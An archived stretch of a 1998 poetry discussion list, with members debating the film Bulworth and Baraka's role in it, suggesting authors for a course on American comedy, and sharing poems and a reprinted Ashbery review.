Bullworth had a pretty obvious anti-racist thrust to it, but there were some very troubling things about how all that was handled/represented. It was damn sexist for one thing and the whole gangsta ethos is very dated as parts of the soundtrack attest, i.e. Cypress Hill circa early 90's. What was that doing in there? I guess it was chronologically correct. Was there an explicit period to this. I can't remember.

Anyway, I thought the film was laden with black stereotypes ever so slightly modified, Kale not Collard Greens.

I'd like to know what Amiri Baraka thinks of the finished product. I can see anybody being hyped by the script, but the goofy way that the scenes erupt detracted from the message. Baraka's role seems like window dressing, something thrown in but not developed. "The spirit is not a ghost" I love that, but it didn't fit with the rest at all. But I like Daniel's take that he functions as a cipher cutting through the spectacle.

But why did the dressing down of an automaton politician have to be the result of sleep deprivation: temporary, easily rectified and explained? And why does the movie walk right back into the warm embrace with the media that it so cannily eluded throughout?

Scott Pound

↑ Index

491. George Bowering
Re: Bullworth
Fri 21 Aug 1998

> *"The spirit is not a ghost" I love that,*

"Be a spirit, not a ghost" is something more like what I heard someone heard.

Probably Baraka is quoting himself quoting Albert Ayler, wouldnt you think? So we get real USAmerican music into a california movie.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

492. Rachel Loden
terms of endearment
Fri 21 Aug 1998

---

daniel bouchard wrote:

> *Clinton, Executive Stud*

Der Übershtupper, as I've been calling him this week--inspired by (what my husband claims was) an English newspaper's name for Ken Starr, "Spermfinder General."

But a poetical query: when Kenneth Koch refers to the "Poem Society" in "Fresh Air," is he talking about the Poetry Society of America?

Rachel Loden

↑ Index

493. Anthony Lawrence
Re: bullworthless (executive of color)
Fri 21 Aug 1998

> *if you want poets in movies, why not fake ones like Henry Fool*

I thought Ben Gazara made a fine Chinaski; I liked him
far more than Mickey Rourke in barfly (where Buk made
a fleeting, elbows-on-bar appearance).

best

Anthony

****

Anthony Lawrence
Po Box 75
Sandy Bay
Tasmania 7006

↑ Index

494. **William Marsh**
smallpress/websites
Fri 21 Aug 1998

---

tom

i'm interested / backchannel if you wanna converse on this stuff / or post here, not to deprive listers

best,
bill

At 04:43 PM 8/21/98 -0500, you wrote:
>I have had it in mind for some time to do something similar on web sites
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or
>> edited essay ("Let the Reader Beware!")."
>
>

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

495. **Rodrigo Toscano**

Re: Bullworth

Fri 21 Aug 1998

Dear List,

After reading the several posts on Bullworth I thought I'd kick in with my take on it.

Yes, the politics of race (and gender) in it are often confused and obsfucatory (some in ways that can't be resuscitated).....

And it's a silly premise, some official going bonkers and rapping and all that...

BUT (and here I share Kent Johnston's enthusiasm for it)

It gets its licks in...something that doesn't happen often...to a wide audience...and it pins Corporate America to the wall in the way that maybe some on the list surely are able...but your average "american", having been droned by so many distortions over the years, so many alibi's etc...needs to piece it together better...Bullworth hammers away at corporate domination of the media for example, and reintroduces the question of socialized medicine in an, albeit, comical way....something's that's ongoing in many quarters of a broad struggle, and something that, I think Bullworth adds to.....

The audience I saw it with cheered (out loud) at some of the things Beatty uttered...(incidently, I saw Beatty getting grilled by Cokie Roberts and Sam Donaldson over the movie...and he held up pretty good, "rope a' doped" them...in other words, some elements in the Ruling Class "got it"...)

Michael Moore's The Big One is also an important movie, or rather documentary that lays bare some basic shifts in thinking that has to happen in order to not just abandon the twin parties of capital...but start looking in earnest to efforts that might have a better chance at represent working people's interests....

(If I weren't genuinely interested in that last, I could get real "smart" on the movie too... drag it to my plate, pick at it with a pedantic or aesthete's fork...raise my nose and push it away...)

The foundation of SAWSJ (scholars, artists and writers for social justice, which Kent, to his credit, posts updates to on this list), the upcoming First Constitutional Convention of the Labor Party (two years after its Founding Convention), the recent Black Radical Congress (BRC), these and so many other cultural-political occasions signal a real response to the (seemingly uncontested) rule of Capital....

Dynamic Contextualization, not more static, empiricist, undialectical "sophistication"...

Rodrigo Toscano

↑ Index

496. **Safdie Joseph**
Re: terms of endearment
Fri 21 Aug 1998

Just wanted to add that the funniest line I've heard all week was to call the President's address on Monday the "Ejaculation Proclamation"

Can you imagine grade school kids having to memorize it?

Stranger days ahead, I'm afraid . . .

-----Original Message-----
From: Rachel Loden
To: [redacted]
Sent: 8/21/98 4:24 PM
Subject: terms of endearment

daniel bouchard wrote:

> *Clinton, Executive Stud*

Der Übershtupper, as I've been calling him this week--inspired by (what my husband claims was) an English newspaper's name for Ken Starr, "Spermfinder General."

But a poetical query: when Kenneth Koch refers to the "Poem Society" in "Fresh Air," is he talking about the Poetry Society of America?

Rachel Loden

↑ Index

497. joel lewis
f.y.i.
Sat 22 Aug 1998

*** A brand new flava in ya mouth

The company that gave the world Tamagotchi virtual pets is promoting what it hopes will be the next hot toy: a battery-operated lollipop holder that plays music inside people's mouths. The microphone-sized toy called Silent Shout plays a tune by vibrating a lollipop stuck into the device, Bandai Co. spokesman Masashi Umeda said Thursday. The instrumental songs include a hip-hop rhythm. "One of the merits is that the sound won't annoy others," he said. The toy works by conducting sounds through the teeth. The sounds then echo into the inner ear. It will go on sale in Japan next month for about $10. (AP)

↑ Index

498. david bromige
Nude Poetry
Sat 22 Aug 1998

Has anyone any info on the reported craze for nude poetry readings that is sweeping Europe? My informant is an acquaintance at the health club where I work out. He told me it had begun in Vienna, and subsequently had fanned out across Europe. I immediately raised the weight I was pumping by 10 pounds. Mentally I echoed Giancarlo from _7 Beauties_ (is it?), "oh no, my ass has fallen!"

DB3

↑ Index

499. A. Jenn Sondheim
Heian Aesthetics
Sat 22 Aug 1998

-

Heian Aesthetics

a baskt of vrtical woodn slats hld loosly togthr
and thy'r frayd on th dgs

how could anything rmain in it
just th touch of th moonlight spilling on th arth
or th spacs among th slats to th narby huts
which possibly ar th only ways to think today
whil ths words fall apart and cruis missils
targt th 's

↑ Index

500. **CD**
lowell
Sat 22 Aug 1998

robert who?? hahah, what matter we all know Lowell is out there in the spinning uni-verse of verse with Eliot, Pound, Tzara, H.D., Ashberry, et tant d'autres et tant d'autres...Lowell, what a lovely sounding poetic name. And oh oh how those l's roll.

↑ Index

501. **r. drake**
Re: Nude Poetry
Sat 22 Aug 1998

d-

heard a report on th npr/bbc radio show "the world" yesterday; sounded more like an event (staged reading, 2 shows, in london) than a movement... over the radio, the poetry seemed to have little to say...

lbd

> *Has anyone any info on the reported craze for nude poetry readings that is sweeping Europe? My informant is an acquaintance at the health club where I work out. He told me it had begun in Vienna, and subsequently had fanned out across Europe. I immediately raised the weight I was pumping by 10 pounds. Mentally I echoed Giancarlo from _7 Beauties_ (is it?), "oh no, my ass has fallen!"*
>
> *DB3*

↑ Index

502. A. Jenn Sondheim
*for the sake of _the continuity girl_*
Sat 22 Aug 1998

-

for the sake of _the continuity girl_ (by _the continuity girl_)

the _need_ of _the continuity girl_

who doesn't know what she needs or what freud wants
but who knows she's needed to keep the world afloat
from explosions and cruise missiles and the wrong ties
on a man dressed up for dinner and the wrong dress
on a woman tied up, online, she's addicted, he's waiting,
they're poorly dressed for the occasions, cocaine

but the _need_ of _the continuity girl_

so that the building or flesh doesn't suddenly change shape
across the charred body of the _dramatic-script boy,_
so that the world doesn't cave as disease explodes
as the man cruises for the woman, as the man's tied
to the woman who constantly changes her name
while he fires her gun at her name, while she changes
into her name, her name into hers

for the _need_ of _the continuity girl_

goes across all culture, civilization, society,
goes across all movie-magic, special effects,
goes across all normal effects, tie on the woman,
dress on the man, as they're on a cruise
and _dramatic-script boy_ rises from the dead
skin-grafted from _the continuity girl_ and
the building missile totters, wait a minute

↑ Index

503. MAXINE CHERNOFF
Re: Bullworth
Sat 22 Aug 1998

I agree with Kent Johnson and Rodrigo Toscano on this one. Bulworth needs to be viewed in the context of what people usually see at our theaters-- Harrison Ford as Prez personally "taking out" terrorists, for instance. In light of the usual

crap and for its alomst "brechtian" engagement of theatrical modes and auduence address, I thought it was way beyond my usual movie experience.

Maxine Chernoff

On Fri, 21 Aug 1998, Rodrigo Toscano wrote:

> *Dear List,*
>
> *After reading the several posts on Bullworth I thought I'd kick in with my take on it.*
>
> *Yes, the politics of race (and gender) in it are often confused and obsfucatory (some in ways that can't be resuscitated).....*
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> *BUT (and here I share Kent Johnston's enthusiasm for it)*
>
> *It gets its licks in...something that doesn't happen often...to a wide audience...and it pins Corporate America to the wall in the way that maybe some on the list surely are able...but your average "american", having been droned by so many distortions over the years, so many alibi's etc...needs to piece it together better...Bullworth hammers away at corporate domination of the media for example, and reintroduces the question of socialized medicine in an, albeit, comical way....something's that's ongoing in many quarters of a broad struggle, and something that, I think Bullworth adds to.....*
>
> *The audience I saw it with cheered (out loud) at some of the things Beatty uttered...(incidently, I saw Beatty getting grilled by Cokie Roberts and Sam Donaldson over the movie...and he held up pretty good, "rope a' doped" them...in other words, some elements in the Ruling Class "got it"...)*
>
> *Michael Moore's The Big One is also an important movie, or rather documentary that lays bare some basic shifts in thinking that has to happen in order to not just abandon the twin parties of capital...but start looking in earnest to efforts that might have a better chance at represent working people's interests....*
>
> *(If I weren't genuinely interested in that last, I could get real "smart" on the movie too... drag it to my plate, pick at it with a pedantic or aesthete's fork...raise my nose and push it away...)*
>
> ---
>
> *The foundation of SAWSJ (scholars, artists and writers for social justice, which Kent, to his credit, posts updates to on this list), the upcoming First*

> *Constitutional Convention of the Labor Party (two years after its Founding Convention), the recent Black Radical Congress (BRC), these and so many other cultural-political occasions signal a real response to the (seemingly uncontested) rule of Capital....*
>
> ----------
>
> *Dynamic Contextualization, not more static, empiricist, undialectical "sophistication"...*
>
> *Rodrigo Toscano*

↑ Index

504. Hilton Manfred Obenzinger
Comedy
Sat 22 Aug 1998

Dear Folks,

I've been asked to teach a graduate course on American Comedy, and I was wondering if people on the list had suggestions for material. I've taught similar courses and have reached back to Franklin, Royall Tyler, Twain (of course), Chaplin, John Leguizamo's Mambo Mouth, and others. I'll do the same -- but I'm looking for additional suggestions. I have a take: that as the 20th century progresses, comedy in literature and performance becomes an increasingly major mode, more respected than when Twain was "merely" a humorist (as oppossed to being a traitor, which he preferred, during the Philippine war), and that, paired with the horrific, particularly in "black" comedy and satire, has become a characteristically modern (or post-modern, if you prefer) sensibility. So, I would want students to read Kenneth Koch, Frank O'Hara, Ginsberg, and others. Any other suggestions from the entire stretch of 19th and 20th century poets, novelists, essayists, performers? Also, there is very little theoretical discussion on the nature of laughter and comedy -- and (perhaps fortunately) no single dominant theory (superiority, relief, incongruity are the three major categories, and there issome recent research on the biological effects of laughter). There are, of course, Bakhtin's wonderful insights, but do people know of others? I would appreciate any suggestions and discussions of this. It's at least worth a laugh.

Thanks,

Hilton Obenzinger

↑ Index

505. **Mark Weiss**
Re: Comedy
Sat 22 Aug 1998

Check out Legman's encyclopedic volumes _The Anatomy of the Dirty Joke_.

At 12:37 PM 8/22/98 -0700, you wrote:
>Dear Folks,
>
>I've been asked to teach a graduate course on American Comedy, and I was
>wondering if people on the list had suggestions for material. I've taught
>similar courses and have reached back to Franklin, Royall Tyler, Twain (of
>course), Chaplin, John Leguizamo's Mambo Mouth, and others. I'll do the
>same -- but I'm looking for additional suggestions. I have a take: that
>as the 20th century progresses, comedy in literature and performance
>becomes an increasingly major mode, more respected than when Twain was
>"merely" a humorist (as oppossed to being a traitor, which he preferred,
>during the Philippine war), and that, paired with the horrific,
>particularly in "black" comedy and satire, has become a characteristically
>modern (or post-modern, if you prefer) sensibility. So, I would want
>students to read Kenneth Koch, Frank O'Hara, Ginsberg, and others. Any
>other suggestions from the entire stretch of 19th and 20th century poets,
>novelists, essayists, performers? Also, there is very little theoretical
>discussion on the nature of laughter and comedy -- and (perhaps
>fortunately) no single dominant theory (superiority, relief, incongruity
>are the three major categories, and there issome recent research on the
>biological effects of laughter). There are, of course, Bakhtin's
>wonderful insights, but do people know of others? I would appreciate any
>suggestions and discussions of this. It's at least worth a laugh.
>
>Thanks,
>
>Hilton Obenzinger
>
>

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506. **Karen Kelley**
Re: Comedy
Sat 22 Aug 1998

You might also look at the work of Eric Bogosian
(http://www.users.interport.net/~ararat/index.html)
and Spalding Gray. Both monologists, both humorous/poetic, though Bogosian much
darker, humor-wise.
BTW, Bogosian starred in a wonderful movie "Talk Radio," based on murdered radio host Alan Berg (sp?)
--directed by Oliver Stone.

Mark Weiss wrote:

> *Check out Legman's encyclopedic volumes _The Anatomy of the Dirty Joke_.*
>
> *At 12:37 PM 8/22/98 -0700, you wrote:*
> *Dear Folks,*
>
> *I've been asked to teach a graduate course on American Comedy, and I was wondering if people on the list had suggestions for material. I've taught similar courses and have reached back to Franklin, Royall Tyler, Twain (of course), Chaplin, John Leguizamo's Mambo Mouth, and others. I'll do the same -- but I'm looking for additional suggestions. I have a take: that as the 20th century progresses, comedy in literature and performance becomes an increasingly major mode, more respected than when Twain was "merely" a humorist (as oppossed to being a traitor, which he preferred, during the Philippine war), and that, paired with the horrific, particularly in "black" comedy and satire, has become a characteristically modern (or post-modern, if you prefer) sensibility. So, I would want students to read Kenneth Koch, Frank O'Hara, Ginsberg, and others. Any other suggestions from the entire stretch of 19th and 20th century poets, novelists, essayists, performers? Also, there is very little theoretical discussion on the nature of laughter and comedy -- and (perhaps fortunately) no single dominant theory (superiority, relief, incongruity are the three major categories, and there issome recent research on the biological effects of laughter). There are, of course, Bakhtin's wonderful insights, but do people know of others? I would appreciate any suggestions and discussions of this. It's at least worth a laugh.*
>
> *Thanks,*
>
> *Hilton Obenzinger*

↑ Index

507. **A. Jenn Sondheim**
Re: Comedy
Sat 22 Aug 1998

I think it's important to get hold of Artemus Ward, whose London presentations/performances were published, complete with voice inflections, etc. He's like an intense W.C. Fields from the 1800s and a precursor of a lot - including performance art and narrative film.

Alan

↑ Index

508. **David Cheezem**
Re: Comedy
Sat 22 Aug 1998

Electroshock. Bang --
no, not bang. Yes, _not-bang!_... God!
And headache after.

-- Hayden Carruth

This haiku always amazed me for its mix of poignant grief and verbal wit.

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509. **Mark Weiss**
Re: Comedy
Sat 22 Aug 1998

Correction: _The Rationale of the Dirty Joke_.
Freud wrote a few essays on humor and jokes--someone out there should be able to reference these better than I have.
It's an endless category, of course. Don't forget Gunslinger.

At 01:15 PM 8/22/98 -0700, you wrote:
>Check out Legman's encyclopedic volumes _The Anatomy of the Dirty Joke_.
>
>
>At 12:37 PM 8/22/98 -0700, you wrote:
>>Dear Folks,
>>
>>I've been asked to teach a graduate course on American Comedy, and I was
>>wondering if people on the list had suggestions for material. I've taught
>>similar courses and have reached back to Franklin, Royall Tyler, Twain (of
>>course), Chaplin, John Leguizamo's Mambo Mouth, and others. I'll do the

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>>students to read Kenneth Koch, Frank O'Hara, Ginsberg, and others. Any
>>other suggestions from the entire stretch of 19th and 20th century poets,
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>>discussion on the nature of laughter and comedy -- and (perhaps
>>fortunately) no single dominant theory (superiority, relief, incongruity
>>are the three major categories, and there issome recent research on the
>>biological effects of laughter). There are, of course, Bakhtin's
>>wonderful insights, but do people know of others? I would appreciate any
>>suggestions and discussions of this. It's at least worth a laugh.
>>
>>Thanks,
>>
>>Hilton Obenzinger
>>
>>
>
>

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510. **Thomas Bell**
Re: Comedy
Sat 22 Aug 1998

You shouldn't neglect comix from 1960's on, especially in re: concrete, vispo, and visual poetic humor?

tom bell

Hilton Manfred Obenzinger wrote:
>
> Dear Folks,
>
> I've been asked to teach a graduate course on American Comedy, and I was
> wondering if people on the list had suggestions for m

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511. Mark Weiss
(no subject)
Sat 22 Aug 1998

Anyone have current coordinates for Geragd Malanga? bc, please.

↑ Index

512. George Bowering
Re: Comedy
Sat 22 Aug 1998

> *I have a take: that*
> *as the 20th century progresses, comedy in literature and performance*
> *becomes an increasingly major mode*
>
> *Hilton Obenzinger*

I think that you are onto it now. But the drift is not only USAmerican. I think that almost all major fiction, for instance, of the recent past has been comedic.

There is Beckett at the top end, if you like, and Kurt Vonnegut down here. But look at the comic writers. Ishmael Reed. Jerome Charyn. Italo Calvino. John Hawkes (sometimes), Gerald Vizenor. Philip Roth. Don DeLillo. Mordecai Richler. Harry Mathews. Flan O'Brien. Donald Barthelme. Douglas Woolf. I dont find a lot of women on this list, do I? I think that the women writers I read are more likely to be into irony, like Atwood, like Modernists.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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513. michael corbin
Re: Bullworth
Sat 22 Aug 1998

MAXINE CHERNOFF wrote:

> *Bulworth needs*
> *to be viewed in the context of what people usually see at our theaters--*

this was basically Baraka's point when he read here at Vertigo Books about two weeks

ago.

He told of Beatty calling him up and asking him to participate, and he rejoining that he would do it if he got to write his lines. Beatty said he'd have to get back to him. He called Baraka back a couple of hours later with the carte blanche.

He said Beatty cut a lot of him, but he thought the movie deserved attention, compared to, say, Godzilla. or other U.S. aesthetic somnambulism.

He also told how he was supposed to fly to some hollywood soiree for the film's opening, but declined because he was working with his son Raz on a campaign for a city council seat in Newark.

He read a powerful elegiac poem about Paul Robeson, a few low-coo about Bill Clinton and Marion Barry, and ended the day by performing with David Murray. pumped up, syncopated spondee truth telling during dark days of bull marketss.

mc

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514. John Tranter

Ivory tower, etymology thereof

Sun 23 Aug 1998

Someone asked where the phrase "ivory tower" comes from. According to the excellent Random House Websters Unabridged Electronic Dictionary:
iÆvory towÆer,
1. a place or situation remote from worldly or practical affairs: the university as an ivory tower.
2. an attitude of aloofness from or disdain or disregard for worldly or practical affairs: his ivory tower of complacency.
[trans. of F tour d'ivoire, phrase used by C.A. Sainte-Beuve in reference to the
isolated life of the poet A. de Vigny (1837)]

So.
from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

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515. **Ron Silliman**
Re: Comedy
Sun 23 Aug 1998

I can't imagine approaching this topic without including the work of Anselm Hollo, whose light-handed touch has, I suspect, caused some people not to realize what a wonderful writer he is, and what an important, even pervasive influence he has been over the past 30 years -- from Ted Berrigan to Barrett Watten to yours truly.

Ron Silliman
[redacted]

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516. **David W. McFadden**
John Lennon Murdered!
Sun 23 Aug 1998

A mob of dimwitted teens has been camped outside the Sutton Place for 48 hours in the rain, waiting for some Spice Girl to emerge. I walked by and said "Hey, horrible news, eh?" They said, "What happened?" I said, "John Lennon of the Beatles? Some madman has shot and killed him!" They looked horribly stricken. They said, "Oh no, who did it? Why'd they do it? Did they get the guy? When did it happen?" Which of course is reminscent of Ezra Pound's definition of literature: News that stays news. dwm "Rev. Mr. Monday, the Prophet with a Punch, has converted over two hundred thousand lost and priceless souls at an average cost of less than ten dollars a head." - Sinclair Lewis, Babbitt (1922).

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517. **sylvester pollet**
Re: Comedy
Sun 23 Aug 1998

Anselm Hollo's "Pebbles" will be the next title in my Backwoods Broadsides Chaplet Series. "Pebbles" & Meredith Quartermain's "Veers" will be going to press any day, for mailing in mid-Sept. Subscription is $10. yr for eight issues. Sylvester Pollet, 963 Winkumpaugh Rd., Ellsworth ME 04605. p.s. Ron, forgive the commercial. S.

At 8:52 AM -0500 8/23/98, Ron Silliman wrote:
>I can't imagine approaching this topic without including the work of Anselm
>Hollo, whose light-handed touch has, I suspect, caused some people not to
>realize what a wonderful writer he is, and what an important, even pervasive

>influence he has been over the past 30 years -- from Ted Berrigan to Barrett
>Watten to yours truly.
>
>Ron Silliman
>[redacted]
>[redacted]

↑ Index

518. **louis stroffolino**
Re: Bullworth
Sun 23 Aug 1998

Thanks for the report of the baraka reading, michael

I saw bullworth with kristin prevallet and alan gilbert
a few momths back; we kept on saying it was "like voting"
(or maybe even less ineffective)---
if beatty's movie actually makes money for them hollywood jerks
maybe they'll actually take a chance on some young innovative person
(that's the hope---
but then michael moore's becoming more like jay leno everyday)
c

On Sat, 22 Aug 1998, michael corbin wrote:

> *MAXINE CHERNOFF wrote:*
>
> *Bulworth needs*
> *to be viewed in the context of what people usually see at our theaters--*
>
> *this was basically Baraka's point when he read here at Vertigo Books about two weeks*
>
> *ago.*
>
> *He told of Beatty calling him up and asking him to participate, and he rejoining that he would do it if he got to write his lines. Beatty said he'd have to get back to him. He called Baraka back a couple of hours later with the carte blanche.*
>
> *He said Beatty cut a lot of him, but he thought the movie deserved attention, compared to, say, Godzilla. or other U.S. aesthetic somnambulism.*
>
> *He also told how he was supposed to fly to some hollywood soiree for the film's opening, but declined because he was working with his son Raz on a campaign for a city council seat in Newark.*

> *He read a powerful elegiac poem about Paul Robeson, a few low-coo about Bill Clinton and Marion Barry, and ended the day by performing with David Murray. pumped*
> *up, syncopated spondee truth telling during dark days of bull marketss.*
>
> *mc*

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519. **B. Taylor**
Re Comedy
Sun 23 Aug 1998

Are you including any novels by Dawn Powell? She's a mid-century satirist of cultural life in New York, where she lived, and provincial life in Ohio, where she was from. She's something of a subtler, more prolific Dorothy Parker, though this description does not do her justice. Her work is enjoying a long overdue revival just now.

Brigham

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520. **MAYHEW**
Re: comedy
Sun 23 Aug 1998

Ever notice how the accusation of "humorlessness" is hurled to discredit a) feminism b) the left c) anything the accuser doesn't like? I've even heard it in respect to Language poetry, in which I find much humor. If comedy is perspectival, a lot of this depends on one's perspective, obviously. I don't find most "humorists" very amusing for example...

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

521. **Billy Little**
Re: Comedy
Sun 23 Aug 1998

The amerkan Blake, Don Marquis, Archy and Mehitabel,
the californian blake, Ken Patchen, he's funnier than Henry Miller,

Antler's Factory has been known to turn many a dinner party into hysteria unbound
Ed Dorn can be so funny you skip laughing and go right to the tears, ditto Ed Sanders, Frank Zappa
Bobbie Louis Hawkins, she's funny, so's her X,
Chester Himes Pinktoes, or the Coffin Ed and Gravedigger Jones series(Cotton Comes to Harlem, etc.) are savagely hilarious.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

522. **Mark Weiss**
(no subject)
Sun 23 Aug 1998

Risible or not, we all do it, in full recognition that what is produced is necessarily at least as much an artifact of the receiving culture and poet as of the culture and poet of origin, despite one's best intentions.

But you've raised the ante, I think. Junction Press, of which I am the publisher, has released one translation (The Duration of the Voyage, by Argentine poet Luisa Futoransky) and is soon to release another (Stet, by Cuban poet Jose Kozer). In each case the work, widely recognized by readers of the language of origin, has been virtually unknown in the English-speaking world. But, if I read you aright, these don't count, as Spanish is a European language. And I certainly would agree with you that African and Asian languages are far less well represented in English translation. Not hard to understand in non-theoretical, non-litwar terms--few of our poets know these languages well enough to give it a shot.

But let me throw in a piece of self-justification. My program is precisely to publish translations of work in the _other_ American languages. To most of my compatriots the world south of the border scarcely exists except for a few resorts. Even among poets there is little access to contemporary poetry of our nearest unknown neighbors. Job one seems to me to remedy that situation. I should

think that British translators would be most interested in uncovering work in the other languages of their own intimate strangers, the peoples they used to govern, large numbers of whom now live among them.

At 01:21 PM 8/23/98 +0000, you wrote:
>
>My circumstances make it difficult for me to specify my sources; a lot of
>what I read in contemporary poetry and poetics passes through my book
>business, is sold, and i never see it again. Not being an academic I don't
>need to keep bibliographical records of everything. The specific thing that
>sparked off my remarks about USA and translation was a publication which
>was a celebration of the "poetry community" at SUNYAB, which I sold months
>ago. There was in it a glossary of critical and theoretical terms, with an
>entry under "Translation" which made it clear that the whole idea of
>translating poetry was looked upon as risible. It surely must be so in a
>large part of the "postmodernist" theoretical zone: if reality is
>structured on language than you can't go around switching languages without
>changing the entire substance. (Indeed so much of that kind of theory goes
>around talking of language as if there were only one language). Or for
>instance, if in Susan Howe's work on Emily Dickinson the poem is a SPELL of
>such power that even typesetting destroys it, and the millimetre placing of
>a holograph stroke must be preserved; translation wd obviously be out of
>the question.
>
>
>
>
>I'm not engaged in any anti-Americanism here; these are specific instances.
>I admire Susan Howe's poetry and criticism very much. I've never been to
>the States. Americans have spoken to me repeatedly of how much world news
>is absent from American news and people there don't know or care what's
>happening in the rest of the world.
>
>A literary example is that very funny thing The Dictionary of Received
>Ideas (1997). Comparing it with Flaubert's original Dictionnaire I got a
>strong impression of an academic / poetic community which was almost
>entirely interested in its own present tense (Flaubert only had one entry
>for a living writer, for instance) and to which, again, "Paris is the only
>abroad there is."
>
>There's nothing necessarily wrong with these conditions. And they certainly
>produce some interesting poetry (especially from the rumoured author of the

>Dictionary for instance). I just happen to believe that North America and
>Western Europe are going to have to get on with other parts of the world
>and especially the Arab world and Africa on equal terms, or there's going
>to be a bigger crisis than anyone at present dares to imagine. One of the
>functions left to poetry might be to pursue comprehension on an intimate
>cultural level by translation and poetical praxis. Events in the news at
>present incline me to despair on the whole subject.
>
>
>/PR
>
>
>
>

↑ Index

523. **maz881**
ahsbery review
Sun 23 Aug 1998

---

i think this was in the new criterion:

That old rascal John Ashbery has long passed the grand climacteric (he turns seventy-one this year), and perhaps it's too late to expect the dog to learn new tricks. His softly inflated, discount surrealism looks as easy as ever. Like many poets who settle into the comfort of a style, he's inimitable -- if you imitated him you'd not just sound like Ashbery, you'd BE Ashbery. I don't know why poets don't open Renaissance workshops and have apprentice poets knock off poems in the master's style, but perhaps that's what writing workshops do already.

Wakefulness is like a lot of recent Ashbery (has anyone noticed there's an awful lot of recent Ashbery -- over 700 pages this decade?), seamless in its disjunctions, playful in its nonsense or pretend sense, irritatingly elusive, woolly and woolgathering. He's like a music-hall comedian who doesn't bother to vary his delivery one year to the next: you hear the catchphrases and you laugh, not because he's funny, but because he's not funny. His comedy has a tragic edge, though he's now less like Keaton than

Beckett -- with a lot more words.

Ashbery's most delicious lines are about language or literature:

We thought we had seen a few new
adjectives, but nobody was too sure. They
might have been
gerunds, or bunches of breakfast. . .

The poem drifting off here is titled "Last Night I dreamed I Was in Bucharest," and the movement toward waking and hunger is something Freud would have understood. It has the dreamy logic that makes so much of Ashbery's poetry a storehouse of half-forgotten phrases, giddy echoes of other poems: Whitman, say ("Once, on Manhatta's bleak shore,/ I trolled for spunkfish"), or Yeats ("Things break. Yes, they fail/ or they are anchored up ahead"). One poem is composed entirely of quotations.

Ashbery's poems revel in their detachments, their refusal of narrative, their refusal of most of the traditional supports of poetry. He proves how little poetry depends on creating meaning -- the urge to make meaning is so strong, the reader will supply what the words cannot. Ashbery's poems indefinitely postpone the promise of sense; but, even as they promise, the poems erase their own existence, falling forward rather than leaning back (poetry is one of the arts that usually depend on acknowledging the past) -- you can't remember at the end of a poem how or why it started. The poem itself doesn't remember. Ashbery's poems have the equivalent of Alzheimer's disease.

Ashbery isn't often so dreadful (there are few lines like "all over the paisley fields dominoes are braying" or "A diagonal lipstick/ chased him across the street"), but when he's bad he's as rotten as poetry gets. The destitution of his phrases is also his strength. His work reminds us how much of contemporary poetry survives on its little narratives, its clumsy emotional urgency: the impertinence of his poems acts most tellingly not in books but one by one in magazines, where they mock little gray-flannel

poems (well, poems of any cloth). Ashbery's work looks better the more you forget it (the more you suffer from Alzheimer's, perhaps), and he has become a poet of severe importance for what his verse denies rather than what it accepts. There's scarcely a poem worth reading again; but few poets have so severely manipulated, or just plain tortured, our soiled desire for meaning. He reminds us that most poets who give us meaning don't know what they're talking about.

-- reviewed by William Logan

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524. Dan or Orion Raphael Dlugonski

the continuity girl

Mon 24 Aug 1998

---

loved that 'continuity person' concept in sondheims poem and wrote this:

the change that binds

the body of continuity, one of every 1000 bodies
caroming on invisible tracks
bounding off the potential bodies we carry around us
like psychic spheres, cones of silence, half-inflated inner tubes
wrapped around the bumper cars
draining from our credit cards like a burnt out washedr
somewhere inside the heart
where so many jokes were stopped to consider, frisked at the border,
so many half expressions
misinterpreted as meanings
ripple i couldnt feel
walking 2 feet into the pavement,
not deep enough to live again,
eating from the inside, like the earth does,
eating with a inward focussed vortex, each step a chord
on the damaged/ mistreated/ neglected,/surprisingly well-preserved
piano of my body
rolling through this similarly mysterious cityscape

this hour has never existed, doesnt have a corresponding number to dial
the beeping in my chest says do something right now, do what you forgot, why
keep walking straight with so many fractal corners, corners the edges have

worn off of, occasional bites when just trying to get grounded, to get a taste that settles me in

to look back at what didn't work, piles of chipped teeth
i keep gnetly vibrating the base of to settle and merge
so something rises i shouldn't repeat, should go where the gaps are,
where my foot might still fit
if the shoes are close enough to the toes
haven't forgotten how to hold
since we seldom rise to look over, to catch a better 2 inches of air,
like dogs catching flies in their mouth, frisbees and flies and
mosquitoes, cats juggling cockroaches,
agents of change of decomposition, \

who knows why eyes met and this thin segment of the world wide river
is elsewhere & calm,
                when change is not moving, a new lumpy sphere
of visual indentations, convex caves dimpled with triggers doorways or traps
coz you get caught there, stuck there, disoriented by the reality of it,
how it makes your river opaque just a blink, makes the river static and stalling
coz youre so porous so thin in resolution, not enough pixels
sure of their codes, those off tones that round,
 those unintended relationships
dumping something into the river
we didn't know was washing into us--
a new layer finally revealed. another nerve brushed with a different strum

one hand
        for a split second
reveals the moving threads of its fray
                im into
covering myself with those stars, smashed micro-gnats of change,
spores that stay in my skin, meteors of a million bits

a gauze curtain across the mouth of this unexpected room surprising architectural memories, like one morning the radios tuner going further afield, pulling several songs through each other, echoes raining back from space songs around the sun, in the flares of mass nuclear uncertainty: the smallest burning hole in the center of my brain, t he event horizon never closer without mountains, sudden chasms pretending to crack, adding weight to the tease, i smell the bait from so many years away, like a star i don't know how long its been decomposing, liberating music from artificial stricture, retraining the ears to be

dimensional, being naked to add thousands of ears, thousands of photo-voltaics increase the nerve areas receptivity, the number of different dances at once:

how one body can reflect whats unknown in another
after touching, sinking some centimeters into each other

↑ Index

525. **Bob Grotjohn**
Poetry On-line, a request
Mon 24 Aug 1998

I want my intro poetry students to explore on-line poetry mixing images and words. I had been saving all list messages with addresses of such sites, but when our computer people upgraded my machine, all the messages disappeared. I will appreciate it if list members could take a moment to send me addresses for their own sites or their favorite other-poet's sites. I have looked through some stuff at the EPC web site and now am asking for recommendations. I suppose back-channel would keep the list from getting cluttered. Thanks in advance to those who help me out.

